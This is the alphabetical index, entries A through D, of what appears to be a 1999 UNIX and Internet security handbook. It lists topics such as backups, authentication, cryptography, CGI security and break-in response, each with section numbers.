aliases file : 11.5.3.3. /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag
AllowOverride option : 18.3.2. Commands Within the <Directory> Block
American Society for Industrial Security (ASIS) : F.1.2. American Society for Industrial Security (ASIS)
ancestor directories : 9.2.2.2. Ancestor directories
ANI schemes : 14.6. Additional Security for Modems
animals : 12.2.1.7. Bugs (biological)
anlpasswd package : 8.8.2. Constraining Passwords
anon option for /etc/exports : 20.2.1.1. /etc/exports
anonymous FTP
4.1. Users and Groups
17.3.2.1. Using anonymous FTP
17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
and HTTP : 18.2.4.1. Beware mixing HTTP with anonymous FTP
ANS (Advanced Network & Services, Inc.) : F.3.4.2. ANS customers
ANSI C standards : 1.4.2. Software Quality
answer mode : 14.3.1. Originate and Answer
answer testing : 14.5.3.2. Answer testing
answerback terminal mode : 11.1.4. Trojan Horses
APOP option (POP) : 17.3.10. Post Office Protocol (POP) (TCP Ports 109 and 110)
Apple CORES (Computer Response Squad) : F.3.4.3. Apple Computer worldwide R&D community
Apple Macintosh, Web server on : 18.2. Running a Secure Server
applets : 11.1.5. Viruses
application-level encryption : 16.3.1. Link-level Security
applications, CGI : (see CGI, scripts)
ar program : 7.4.2. Simple Archives
architecture, room : 12.2.3. Physical Access
archiving information
7.1.1.1. A taxonomy of computer failures
(see also logging)
arguments, checking : 23.2. Tips on Avoiding Security-related Bugs
ARPA (Advanced Research Projects Agency)
1.3. History of UNIX
(see also UNIX, history of)
ARPANET network : 16.1.1. The Internet
ASIS (American Society for Industrial Security) : F.1.2. American Society for Industrial Security (ASIS)
assert macro : 23.2. Tips on Avoiding Security-related Bugs
assessing risks
2.2. Risk Assessment
2.2.2. Review Your Risks
2.5.3. Final Words: Risk Management Means Common Sense
assets, identifying : 2.2.1.1. Identifying assets
ASSIST : F.3.4.42. U.S. Department of Defense
Association for Computing Machinery (ACM) : F.1.1. Association for Computing Machinery (ACM)
asymmetric key cryptography : 6.4. Common Cryptographic Algorithms
asynchronous systems : 19.2. Sun's Remote Procedure Call (RPC)
Asynchronous Transfer Mode (ATM) : 16.2. IPv4: The Internet Protocol Version 4
at program
11.5.3.4. The at program
25.2.1.2. System overload attacks
AT&T System V : (see System V UNIX)
Athena : (see Kerberos system)
atime
5.1.2. Inodes
5.1.5. File Times
ATM (Asynchronous Transfer Mode) : 16.2. IPv4: The Internet Protocol Version 4
attacks : (see threats)
audio device : 23.8. Picking a Random Seed
audit IDs
4.3.3. Other IDs
10.1. The Basic Log Files
auditing
10. Auditing and Logging
(see also logging)
C2 audit : 10.1. The Basic Log Files
checklist for : A.1.1.9. Chapter 10: Auditing and Logging
employee access : 13.2.4. Auditing Access
login times : 10.1.1. lastlog File
system activity : 2.1. Planning Your Security Needs
user activity : 4.1.2. Multiple Accounts with the Same UID
who is logged in
10.1.2. utmp and wtmp Files
10.1.2.1. su command and /etc/utmp and /var/adm/wtmp files
AUTH_DES authentication : 19.2.2.3. AUTH_DES
AUTH_KERB authentication : 19.2.2.4. AUTH_KERB
AUTH_NONE authentication : 19.2.2.1. AUTH_NONE
AUTH_UNIX authentication : 19.2.2.2. AUTH_UNIX
authd service : 23.3. Tips on Writing Network Programs
authdes_win variable : 19.3.1.3. Setting the window
authentication : 3.2.3. Authentication
ID services : 16.3.3. Authentication
Kerberos
19.6.1. Kerberos Authentication
19.6.1.4. Kerberos 4 vs. Kerberos 5
of logins : 17.3.5. TACACS (UDP Port 49)
message digests
6.5.2. Using Message Digests
9.2.3. Checksums and Signatures
23.5.1. Use Message Digests for Storing Passwords
NIS+ : 19.5.4. Using NIS+
RPCs
19.2.2. RPC Authentication
19.2.2.4. AUTH_KERB
Secure RPC : 19.3.1. Secure RPC Authentication
security standard for : 2.4.2. Standards
for Web use : 18.3.3. Setting Up Web Users and Passwords
xhost facility : 17.3.21.3. The xhost facility
authenticators : 3.1. Usernames
AuthGroupFile option : 18.3.2. Commands Within the <Directory> Block
authors of programmed threats : 11.3. Authors
AuthRealm option : 18.3.2. Commands Within the <Directory> Block
AuthType option : 18.3.2. Commands Within the <Directory> Block
AuthUserFile option : 18.3.2. Commands Within the <Directory> Block
Auto_Mounter table (NIS+) : 19.5.3. NIS+ Tables
autologout shell variable : 12.3.5.1. Built-in shell autologout
Automated Systems Incident Response Capability (NASA) : F.3.4.24. NASA: NASA-wide
automatic
11.5.3. Abusing Automatic Mechanisms
(see also at program; cron file)
account lockout : 3.3. Entering Your Password
backups system : 7.3.2. Building an Automatic Backup System
cleanup scripts (UUCP) : 15.6.2. Automatic Execution of Cleanup Scripts
directory listings (Web) : 18.2.2.2. Additional configuration issues
disabling of dormant accounts : 8.4.3. Finding Dormant Accounts
logging out : 12.3.5.1. Built-in shell autologout
mechanisms, abusing
11.5.3. Abusing Automatic Mechanisms
11.5.3.6. Other files
password generation : 8.8.4. Password Generators
power cutoff : (see detectors)
sprinkler systems : 12.2.1.1. Fire
wtmp file pruning : 10.1.3.1. Pruning the wtmp file
auxiliary (printer) ports : 12.3.1.4. Auxiliary ports on terminals
awareness, security : (see security, user awareness of)
awk scripts
11.1.4. Trojan Horses
11.5.1.2. IFS attacks

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

back doors
2.5. The Problem with Security Through Obscurity
6.2.3. Cryptographic Strength
11.1. Programmed Threats: Definitions
11.1.2. Back Doors and Trap Doors
11.5. Protecting Yourself
27.1.2. Trusting Trust
in MUDs and IRCs : 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
background checks, employee : 13.1. Background Checks
backquotes in CGI input
18.2.3.2. Testing is not enough!
18.2.3.3. Sending mail
BACKSPACE key : 3.4. Changing Your Password
backup program : 7.4.3. Specialized Backup Programs
backups
7. Backups
7.4.7. inode Modification Times
9.1.2. Read-only Filesystems
24.2.2. What to Do When You Catch Somebody
across networks : 7.4.5. Backups Across the Net
for archiving information : 7.1.1.1. A taxonomy of computer failures
automatic
7.3.2. Building an Automatic Backup System
18.2.3.5. Beware stray CGI scripts
checklist for : A.1.1.6. Chapter 7: Backups
criminal investigations and : 26.2.4. Hazards of Criminal Prosecution
of critical files
7.3. Backing Up System Files
7.3.2. Building an Automatic Backup System
encrypting
7.4.4. Encrypting Your Backups
12.3.2.4. Backup encryption
hardcopy : 24.5.1. Never Trust Anything Except Hardcopy
keeping secure
2.4.2. Standards
2.4.3. Guidelines
7.1.6. Security for Backups
7.1.6.3. Data security for backups
26.2.6. Other Tips
laws concerning : 7.1.7. Legal Issues
of log files : 10.2.2. Accounting with BSD
retention of
7.1.5. How Long Should You Keep a Backup?
7.2. Sample Backup Strategies
7.2.5. Deciding upon a Backup Strategy
rotating media : 7.1.3. Types of Backups
software for
7.4. Software for Backups
7.4.7. inode Modification Times
commercial : 7.4.6. Commercial Offerings
special programs for : 7.4.3. Specialized Backup Programs
strategies for
7.2. Sample Backup Strategies
7.2.5. Deciding upon a Backup Strategy
10.8. Managing Log Files
theft of
12.3.2. Protecting Backups
12.3.2.4. Backup encryption
verifying : 12.3.2.1. Verify your backups
zero-filled bytes in : 7.4. Software for Backups
bacteria
11.1. Programmed Threats: Definitions
11.1.7. Bacteria and Rabbits
BADSU attempts : (see sulog file)
Baldwin, Robert : 6.6.1.1. The crypt program
bang (!) and mail command : 15.1.3. mail Command
Bash shell (bsh) : 8.1.4.4. No restricted bash
Basic Networking Utilities : (see BNU UUCP)
bastion hosts : 21.1.3. Anatomy of a Firewall
batch command : 25.2.1.2. System overload attacks
batch jobs : (see cron file)
baud : 14.1. Modems: Theory of Operation
bell (in Swatch program) : 10.6.2. The Swatch Configuration File
Bellcore : F.3.4.5. Bellcore
Berkeley UNIX : (see BSD UNIX)
Berkeley's sendmail : (see sendmail)
bidirectionality
14.1. Modems: Theory of Operation
14.4.1. One-Way Phone Lines
bigcrypt algorithm : 8.6.4. Crypt16() and Other Algorithms
/bin directory
11.1.5. Viruses
11.5.1.1. PATH attacks
backing up : 7.1.2. What Should You Back Up?
/bin/csh : (see csh)
/bin/ksh : (see ksh)
/bin/login : (see login program)
/bin/passwd : (see passwd command)
/bin/sh : (see sh)
in restricted filesystems : 8.1.5. Restricted Filesystem
binary code : 11.1.5. Viruses
bind system call
16.2.6.1. DNS under UNIX
17.1.3. The /etc/inetd Program
biological threats : 12.2.1.7. Bugs (biological)
block devices : 5.6. Device Files
block send commands : 11.1.4. Trojan Horses
blocking systems : 19.2. Sun's Remote Procedure Call (RPC)
BNU UUCP
15.5. Security in BNU UUCP
15.5.3. uucheck: Checking Your Permissions File
Boeing CERT : F.3.4.5. Bellcore
bogusns directive : 17.3.6.2. DNS nameserver attacks
boot viruses : 11.1.5. Viruses
Bootparams table (NIS+) : 19.5.3. NIS+ Tables
Bourne shell
C.5.3. Running the User's Shell
(see also sh program; shells)
(see sh)
Bourne shell (sh) : C.5.3. Running the User's Shell
bps (bits per second) : 14.1. Modems: Theory of Operation
BREAK key : 14.5.3.2. Answer testing
breakins
checklist for : A.1.1.23. Chapter 24: Discovering a Break-in
legal options following : 26.1. Legal Options After a Break-in
responding to
24. Discovering a Break-in
24.7. Damage Control
resuming operation after : 24.6. Resuming Operation
broadcast storm : 25.3.2. Message Flooding
browsers : (see Web browsers)
BSD UNIX
Which UNIX System?
1.3. History of UNIX
accounting with : 10.2.2. Accounting with BSD
Fast Filesystem (FFS) : 25.2.2.6. Reserved space
groups and : 4.1.3.3. Groups and BSD or SVR4 UNIX
immutable files : 9.1.1. Immutable and Append-Only Files
modems and : 14.5.1. Hooking Up a Modem to Your Computer
programming references : D.1.11. UNIX Programming and System Administration
ps command with : C.1.2.2. Listing processes with Berkeley-derived versions of UNIX
published resources for : D.1. UNIX Security References
restricted shells : 8.1.4.2. Restricted shells under Berkeley versions
SUID files, list of : B.3. SUID and SGID Files
sulog log under : 4.3.7.1. The sulog under Berkeley UNIX
utmp and wtmp files : 10.1.2. utmp and wtmp Files
BSD/OS (operating system) : 1.3. History of UNIX
bsh (Bash shell) : 8.1.4.4. No restricted bash
BSI/GISA : F.3.4.15. Germany: government institutions
buffers
checking boundaries : 23.2. Tips on Avoiding Security-related Bugs
for editors : 11.1.4. Trojan Horses
bugs
1.1. What Is Computer Security?
1.4.2. Software Quality
23.1.2.1. What they found
27.2.3. Buggy Software
27.2.5. Security Bugs that Never Get Fixed
Bugtraq mailing list : E.1.3.3. Bugtraq
hacker challenges : 27.2.4. Hacker Challenges
hardware : 27.2.1. Hardware Bugs
.htaccess file : 18.3.1. The access.conf and .htaccess Files
keeping secret : 2.5. The Problem with Security Through Obscurity
tips on avoiding : 23.2. Tips on Avoiding Security-related Bugs
bugs (biological) : 12.2.1.7. Bugs (biological)
bugs
Preface
(see also security holes)
bulk erasers : 12.3.2.3. Sanitize your media before disposal
byte-by-byte comparisons
9.2.1. Comparison Copies
9.2.1.3. rdist
bytes, zero-filled : 7.4. Software for Backups

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

C programming language
1.3. History of UNIX
23.2. Tips on Avoiding Security-related Bugs
-Wall compiler option : 23.2. Tips on Avoiding Security-related Bugs
C shell : (see csh)
C2 audit : 10.1. The Basic Log Files
cables, network
12.2.4.2. Network cables
12.3.1.5. Fiber optic cable
cutting : 25.1. Destructive Attacks
tampering detectors for : 12.3.1.1. Wiretapping
wiretapping : 12.3.1.1. Wiretapping
cache, nameserver : 16.3.2. Security and Nameservice
caching : 5.6. Device Files
Caesar Cipher : 6.4.3. ROT13: Great for Encoding Offensive Jokes
calculating costs of losses : 2.3.1. The Cost of Loss
call forwarding : 14.5.4. Physical Protection of Modems
Call Trace : 24.2.4. Tracing a Connection
CALLBACK= command : 15.5.2. Permissions Commands
callbacks
14.4.2.
14.6. Additional Security for Modems
BNU UUCP : 15.5.2. Permissions Commands
Version 2 UUCP : 15.4.1.5. Requiring callback
Caller-ID (CNID)
14.4.3. Caller-ID (CNID)
14.6. Additional Security for Modems
24.2.4. Tracing a Connection
Canada, export control in : 6.7.2. Cryptography and Export Controls
carbon monoxide : 12.2.1.2. Smoke
caret (^) in encrypted messages : 6.2. What Is Encryption?
case in usernames : 3.1. Usernames
cat command
3.2.2. The /etc/passwd File and Network Databases
15.4.3. L.cmds: Providing Remote Command Execution
-ve option : 5.5.4.1. The ncheck command
-v option : 24.4.1.7. Hidden files and directories
cat-passwd command : 3.2.2. The /etc/passwd File and Network Databases
CBC (cipher block chaining)
6.4.4.2. DES modes
6.6.2. des: The Data Encryption Standard
CBW (Crypt Breaker's Workbench) : 6.6.1.1. The crypt program
CCTA IT Security & Infrastructure Group : F.3.4.39. UK: other government departments and agencies
CD-ROM : 9.1.2. Read-only Filesystems
CDFs (context-dependent files)
5.9.2. Context-Dependent Files
24.4.1.7. Hidden files and directories
ceilings, dropped : 12.2.3.1. Raised floors and dropped ceilings
cellular telephones : 12.2.1.8. Electrical noise
CERCUS (Computer Emergency Response Committee for Unclassified Systems) : F.3.4.36. TRW network area and system administrators
Cerf, Vint : 16.2. IPv4: The Internet Protocol Version 4
CERN : E.4.1. CERN HTTP Daemon
CERT (Computer Emergency Response Team)
6.5.2. Using Message Digests
27.3.5. Response Personnel?
F.3.4.1. All Internet sites
CERT-NL (Netherlands) : F.3.4.25. Netherlands: SURFnet-connected sites
mailing list for : E.1.3.4. CERT-advisory
CFB (cipher feedback) : 6.4.4.2. DES modes
CGI (Common Gateway Interface) : 18.1. Security and the World Wide Web
scripts
18.2. Running a Secure Server
18.2.3. Writing Secure CGI Scripts and Programs
18.2.4.1. Beware mixing HTTP with anonymous FTP
cgi-bin directory : 18.2.2. Understand Your Server's Directory Structure
chacl command : 5.2.5.2. HP-UX access control lists
-f option : 5.2.5.2. HP-UX access control lists
-r option : 5.2.5.2. HP-UX access control lists
change detection
9.2. Detecting Change
9.3. A Final Note
character devices : 5.6. Device Files
chat groups, harassment via : 26.4.7. Harassment, Threatening Communication, and Defamation
chdir command
23.2. Tips on Avoiding Security-related Bugs
25.2.2.8. Tree-structure attacks
checklists for detecting changes
9.2.2. Checklists and Metadata
9.2.3. Checksums and Signatures
checksums
6.5.5.1. Checksums
9.2.3. Checksums and Signatures
Chesson, Greg : 15.2. Versions of UUCP
chfn command : 8.2. Monitoring File Format
chgrp command : 5.8. chgrp: Changing a File's Group
child processes : C.2. Creating Processes
chkey command : 19.3.1.1. Proving your identity
chmod command
5.2.1. chmod: Changing a File's Permissions
5.2.4. Using Octal File Permissions
8.3. Restricting Logins
-A option : 5.2.5.2. HP-UX access control lists
-f option : 5.2.1. chmod: Changing a File's Permissions
-h option : 5.2.1. chmod: Changing a File's Permissions
-R option : 5.2.1. chmod: Changing a File's Permissions
chokes : (see firewalls)
chown command
5.7. chown: Changing a File's Owner
23.2. Tips on Avoiding Security-related Bugs
chroot system call
8.1.5. Restricted Filesystem
8.1.5.2. Checking new software
11.1.4. Trojan Horses
23.4.1. Using chroot()
with anonymous FTP : 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
chrootuid daemon : E.4.2. chrootuid
chsh command : 8.7.1. Integrating One-time Passwords with UNIX
CIAC (Computer Incident Advisory Capability) : F.3.4.43. U.S. Department of Energy sites, Energy Sciences Network (ESnet), and DOE contractors
CIDR (Classless InterDomain Routing)
16.2.1.1. IP networks
16.2.1.3. CIDR addresses
cigarettes : 12.2.1.2. Smoke
cipher
6.4.3. ROT13: Great for Encoding Offensive Jokes
(see also cryptography; encryption)
block chaining (CBC)
6.4.4.2. DES modes
6.6.2. des: The Data Encryption Standard
ciphertext
6.2. What Is Encryption?
8.6.1. The crypt() Algorithm
feedback (CFB) : 6.4.4.2. DES modes
CISCO : F.3.4.8. CISCO Systems
civil actions (lawsuits) : 26.3. Civil Actions
classified data and breakins
26.1. Legal Options After a Break-in
26.2.2. Federal Jurisdiction
Classless InterDomain Routing (CIDR)
16.2.1.1. IP networks
16.2.1.3. CIDR addresses
clear text : 8.6.1. The crypt() Algorithm
Clear to Send (CTS) : 14.3. The RS-232 Serial Protocol
client flooding : 16.3.2. Security and Nameservice
client/server model : 16.2.5. Clients and Servers
clients, NIS : (see NIS)
clock, system
5.1.5. File Times
17.3.14. Network Time Protocol (NTP) (UDP Port 123)
for random seeds : 23.8. Picking a Random Seed
resetting : 9.2.3. Checksums and Signatures
Secure RPC timestamp : 19.3.1.3. Setting the window
clogging : 25.3.4. Clogging
CMW (Compartmented-Mode Workstation) : "Secure" Versions of UNIX
CNID (Caller-ID)
14.4.3. Caller-ID (CNID)
14.6. Additional Security for Modems
24.2.4. Tracing a Connection
CO2 system (for fires) : 12.2.1.1. Fire
COAST (Computer Operations, Audit, and Security Technology)
E.3.2. COAST
E.4. Software Resources
code breaking : (see cryptography)
codebooks : 8.7.3. Code Books
CodeCenter : 23.2. Tips on Avoiding Security-related Bugs
cold, extreme : 12.2.1.6. Temperature extremes
command shells : (see shells)
commands
8.1.3. Accounts That Run a Single Command
(see also under specific command name)
accounts running single : 8.1.3. Accounts That Run a Single Command
in addresses : 15.7. Early Security Problems with UUCP
editor, embedded : 11.5.2.7. Other initializations
remote execution of
15.1.2. uux Command
15.4.3. L.cmds: Providing Remote Command Execution
17.3.17. rexec (TCP Port 512)
running simultaneously
23.2. Tips on Avoiding Security-related Bugs
(see also multitasking)
commands in <Directory> blocks : 18.3.2. Commands Within the <Directory> Block
COMMANDS= command : 15.5.2. Permissions Commands
commenting out services : 17.3. Primary UNIX Network Services
comments in BNU UUCP : 15.5.1.3. A Sample Permissions file
Common Gateway Interface : (see CGI)
communications
modems : (see modems)
national telecommunications : 26.2.2. Federal Jurisdiction
threatening : 26.4.7. Harassment, Threatening Communication, and Defamation
comparison copies
9.2.1. Comparison Copies
9.2.1.3. rdist
compress program : 6.6.1.2. Ways of improving the security of crypt
Compressed SLIP (CSLIP) : 16.2. IPv4: The Internet Protocol Version 4
Computer Emergency Response Committee for Unclassified Systems (CERCUS) : F.3.4.36. TRW network area and system administrators
Computer Emergency Response Team : (see CERT)
Computer Incident Advisory Capability (CIAC) : F.3.4.43. U.S. Department of Energy sites, Energy Sciences Network (ESnet), and DOE contractors
computer networks : 1.4.3. Add-On Functionality Breeds Problems
Computer Security Institute (CSI) : F.1.3. Computer Security Institute (CSI)
computers
assigning UUCP name : 15.5.2. Permissions Commands
auxiliary ports : 12.3.1.4. Auxiliary ports on terminals
backing up individual : 7.2.1. Individual Workstation
contacting administrator of : 24.2.4.2. How to contact the system administrator of a computer you don't know
cutting cables to : 25.1. Destructive Attacks
failure of : 7.1.1.1. A taxonomy of computer failures
hostnames for
16.2.3. Hostnames
16.2.3.1. The /etc/hosts file
modems : (see modems)
multiple screens : 12.3.4.3. Multiple screens
multiple suppliers of : 18.6. Dependence on Third Parties
non-citizen access to : 26.4.1. Munitions Export
operating after breakin : 24.6. Resuming Operation
portable : 12.2.6.3. Portables
remote command execution : 17.3.17. rexec (TCP Port 512)
running NIS+ : 19.5.5. NIS+ Limitations
screen savers : 12.3.5.2. X screen savers
security
culture of : D.1.10. Understanding the Computer Security "Culture"
four steps toward : 2.4.4.7. Defend in depth
physical : 12.2.6.1. Physically secure your computer
references for : D.1.7. General Computer Security
resources on : D.1.1. Other Computer References
seized as evidence : 26.2.4. Hazards of Criminal Prosecution
transferring files between : 15.1.1. uucp Command
trusting
27.1. Can you Trust Your Computer?
27.1.3. What the Superuser Can and Cannot Do
unattended
12.3.5. Unattended Terminals
12.3.5.2. X screen savers
unplugging : 24.2.5. Getting Rid of the Intruder
vacuums for : 12.2.1.3. Dust
vandalism of : (see vandalism)
virtual : (see Telnet utility)
computing base (TCB) : 8.5.3.2. Trusted computing base
conf directory : 18.2.2.1. Configuration files
conf/access.conf : (see access.conf file)
conf/srm.conf file : 18.3.1. The access.conf and .htaccess Files
confidentiality : (see encryption; privacy)
configuration
errors : 9.1. Prevention
files : 11.5.3. Abusing Automatic Mechanisms
logging : 10.7.2.2. Informational material
MCSA web server : 18.2.2.1. Configuration files
UUCP version differences : 15.2. Versions of UUCP
simplifying management of : 9.1.2. Read-only Filesystems
connections
hijacking : 16.3. IP Security
laundering : 16.1.1.1. Who is on the Internet?
tracing
24.2.4. Tracing a Connection
24.2.4.2. How to contact the system administrator of a computer you don't know
unplugging : 24.2.5. Getting Rid of the Intruder
connectors, network : 12.2.4.3. Network connectors
consistency of software : 2.1. Planning Your Security Needs
console device : 5.6. Device Files
CONSOLE variable : 8.5.1. Secure Terminals
constraining passwords : 8.8.2. Constraining Passwords
consultants : 27.3.4. Your Consultants?
context-dependent files (CDFs)
5.9.2. Context-Dependent Files
24.4.1.7. Hidden files and directories
control characters in usernames : 3.1. Usernames
cookies
17.3.21.4. Using Xauthority magic cookies
18.2.3.1. Do not trust the user's browser!
COPS (Computer Oracle and Password System)
19.5.5. NIS+ Limitations
E.4.3. COPS (Computer Oracle and Password System)
copyright
9.2.1. Comparison Copies
26.4.2. Copyright Infringement
26.4.2.1. Software piracy and the SPA
notices of : 26.2.6. Other Tips
CORBA (Common Object Request Broker Architecture) : 19.2. Sun's Remote Procedure Call (RPC)
core files
23.2. Tips on Avoiding Security-related Bugs
C.4. The kill Command
cost-benefit analysis
2.3. Cost-Benefit Analysis
2.3.4. Convincing Management
costs of losses : 2.3.1. The Cost of Loss
cp command : 7.4.1. Simple Local Copies
cpio program
7.3.2. Building an Automatic Backup System
7.4.2. Simple Archives
crack program
8.8.3. Cracking Your Own Passwords
18.3.3. Setting Up Web Users and Passwords
cracking
backing up because of : 7.1.1.1. A taxonomy of computer failures
passwords
3.6.1. Bad Passwords: Open Doors
3.6.4. Passwords on Multiple Machines
8.6.1. The crypt() Algorithm
8.8.3. Cracking Your Own Passwords
8.8.3.2. The dilemma of password crackers
17.3.3. TELNET (TCP Port 23)
logging failed attempts : 10.5.3. syslog Messages
responding to
24. Discovering a Break-in
24.7. Damage Control
using rexecd : 17.3.17. rexec (TCP Port 512)
crashes, logging : 10.7.2.1. Exception and activity reports
CRC checksums : (see checksums)
Cred table (NIS+) : 19.5.3. NIS+ Tables
criminal prosecution
26.2. Criminal Prosecution
26.2.7. A Final Note on Criminal Actions
cron file
9.2.2.1. Simple listing
11.5.1.4. Filename attacks
11.5.3.1. crontab entries
automating backups : 7.3.2. Building an Automatic Backup System
cleaning up /tmp directory : 25.2.4. /tmp Problems
collecting login times : 10.1.1. lastlog File
symbolic links in : 10.3.7. Other Logs
system clock and : 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
uucp scripts in : 15.6.2. Automatic Execution of Cleanup Scripts
crontab file : 15.6.2. Automatic Execution of Cleanup Scripts
Crypt Breaker's Workbench (CBW) : 6.6.1.1. The crypt program
crypt command/algorithm
6.4.1. Summary of Private Key Systems
6.6.1. UNIX crypt: The Original UNIX Encryption Command
6.6.1.3. Example
8.6. The UNIX Encrypted Password System
18.3.3. Setting Up Web Users and Passwords
crypt function
8.6. The UNIX Encrypted Password System
8.6.1. The crypt() Algorithm
8.8.7. Algorithm and Library Changes
23.5. Tips on Using Passwords
crypt16 algorithm : 8.6.4. Crypt16() and Other Algorithms
cryptography
6. Cryptography
6.7.2. Cryptography and Export Controls
14.4.4.2. Protection against eavesdropping
checklist for : A.1.1.5. Chapter 6: Cryptography
checksums : 6.5.5.1. Checksums
digital signatures : (see digital signatures)
export laws concerning : 6.7.2. Cryptography and Export Controls
Message Authentication Codes (MACs) : 6.5.5.2. Message authentication codes
message digests : (see message digests)
PGP : (see PGP)
private-key
6.4. Common Cryptographic Algorithms
6.4.1. Summary of Private Key Systems
public-key
6.4. Common Cryptographic Algorithms
6.4.2. Summary of Public Key Systems
6.4.6. RSA and Public Key Cryptography
6.4.6.3. Strength of RSA
6.5.3. Digital Signatures
18.3. Controlling Access to Files on Your Server
18.6. Dependence on Third Parties
references on : D.1.5. Cryptography Books
and U.S. patents : 6.7.1. Cryptography and the U.S. Patent System
csh (C shell)
5.5.2. Problems with SUID
11.5.1. Shell Features
23.2. Tips on Avoiding Security-related Bugs
C.5.3. Running the User's Shell
(see also shells)
autologout variable : 12.3.5.1. Built-in shell autologout
history file : 10.4.1. Shell History
uucp command : 15.1.1.1. uucp with the C shell
.cshrc file
11.5.2.2. .cshrc, .kshrc
12.3.5.1. Built-in shell autologout
24.4.1.6. Changes to startup files
CSI (Computer Security Institute) : F.1.3. Computer Security Institute (CSI)
CSLIP (Compressed SLIP) : 16.2. IPv4: The Internet Protocol Version 4
ctime
5.1.2. Inodes
5.1.5. File Times
5.2.1. chmod: Changing a File's Permissions
7.4.7. inode Modification Times
9.2.3. Checksums and Signatures
cu command
14.5. Modems and UNIX
14.5.3.1. Originate testing
14.5.3.3. Privilege testing
-l option : 14.5.3.1. Originate testing
culture, computer security : D.1.10. Understanding the Computer Security "Culture"
current directory : 5.1.3. Current Directory and Paths
Customer Warning System (CWS) : F.3.4.34. Sun Microsystems customers

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

DAC (Discretionary Access Controls) : 4.1.3. Groups and Group Identifiers (GIDs)
daemon (user) : 4.1. Users and Groups
damage, liability for : 26.4.6. Liability for Damage
DARPA : (see ARPA)
DAT (Digital Audio Tape) : 7.1.4. Guarding Against Media Failure
data
assigning owners to : 2.4.4.1. Assign an owner
availability of : 2.1. Planning Your Security Needs
communication equipment (DCE) : 14.3. The RS-232 Serial Protocol
confidential
2.1. Planning Your Security Needs
2.5.2. Confidential Information
disclosure of : 11.2. Damage
giving away with NIS : 19.4.5. Unintended Disclosure of Site Information with NIS
identifying assets : 2.2.1.1. Identifying assets
integrity of : (see integrity, data)
spoofing : 16.3. IP Security
terminal equipment (DTE) : 14.3. The RS-232 Serial Protocol
Data Carrier Detect (DCD) : 14.3. The RS-232 Serial Protocol
Data Defense Network (DDN) : F.3.4.20. MILNET
Data Encryption Standard : (see DES)
Data Set Ready (DSR) : 14.3. The RS-232 Serial Protocol
Data Terminal Ready (DTR) : 14.3. The RS-232 Serial Protocol
database files : 1.2. What Is an Operating System?
databases : (see network databases)
date command
8.1.3. Accounts That Run a Single Command
24.5.1. Never Trust Anything Except Hardcopy
day-zero backups : 7.1.3. Types of Backups
dbx debugger : C.4. The kill Command
DCE (data communication equipment) : 14.3. The RS-232 Serial Protocol
DCE (Distributed Computing Environment)
3.2.2. The /etc/passwd File and Network Databases
8.7.3. Code Books
16.2.6.2. Other naming services
19.2. Sun's Remote Procedure Call (RPC)
19.7.1. DCE
dd command
6.6.1.2. Ways of improving the security of crypt
7.4.1. Simple Local Copies
DDN (Data Defense Network) : F.3.4.20. MILNET
deadlock : 23.2. Tips on Avoiding Security-related Bugs
debug command : 17.3.4.2. Using sendmail to receive email
debugfs command : 25.2.2.8. Tree-structure attacks
DEC (Digital Equipment Corporation) : F.3.4.9. Digital Equipment Corporation and customers
DECnet protocol : 16.4.3. DECnet
decode aliases : 17.3.4.2. Using sendmail to receive email
decryption : (see encryption)
defamation : 26.4.7. Harassment, Threatening Communication, and Defamation
default
accounts : 8.1.2. Default Accounts
deny : 21.1.1. Default Permit vs. Default Deny
domain : 16.2.3. Hostnames
permit : 21.1.1. Default Permit vs. Default Deny
defense in depth : (see multilevel security)
DELETE key : 3.4. Changing Your Password
deleting
destructive attack via : 25.1. Destructive Attacks
files : 5.4. Using Directory Permissions
demo accounts : 8.1.2. Default Accounts
denial-of-service attacks
1.5. Role of This Book
25. Denial of Service Attacks and Solutions
25.3.4. Clogging
accidental : 25.2.5. Soft Process Limits: Preventing Accidental Denial of Service
automatic lockout : 3.3. Entering Your Password
checklist for : A.1.1.24. Chapter 25: Denial of Service Attacks and Solutions
inodes : 25.2.2.3. Inode problems
internal inetd services : 17.1.3. The /etc/inetd Program
on networks
25.3. Network Denial of Service Attacks
25.3.4. Clogging
via syslog : 10.5.1. The syslog.conf Configuration File
X Window System : 17.3.21.5. Denial of service attacks under X
departure of employees : 13.2.6. Departure
depository directories, FTP : 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
DES (Data Encryption Standard)
6.4.1. Summary of Private Key Systems
6.4.4. DES
6.4.5.2. Triple DES
8.6.1. The crypt() Algorithm
authentication (NIS+) : 19.5.4. Using NIS+
improving security of
6.4.5. Improving the Security of DES
6.4.5.2. Triple DES
des program
6.4.4. DES
6.6.2. des: The Data Encryption Standard
7.4.4. Encrypting Your Backups
destroying media : 12.3.2.3. Sanitize your media before disposal
destructive attacks : 25.1. Destructive Attacks
detached signatures : 6.6.3.6. PGP detached signatures
detectors
cable tampering : 12.3.1.1. Wiretapping
carbon-monoxide : 12.2.1.2. Smoke
humidity : 12.2.1.11. Humidity
logging alarm systems : 10.7.1.1. Exception and activity reports
smoke : 12.2.1.2. Smoke
temperature alarms : 12.2.1.6. Temperature extremes
water sensors : 12.2.1.12. Water
Deutsches Forschungsnetz : F.3.4.14. Germany: DFN-WiNet Internet sites
/dev directory : 14.5.1. Hooking Up a Modem to Your Computer
/dev/audio device : 23.8. Picking a Random Seed
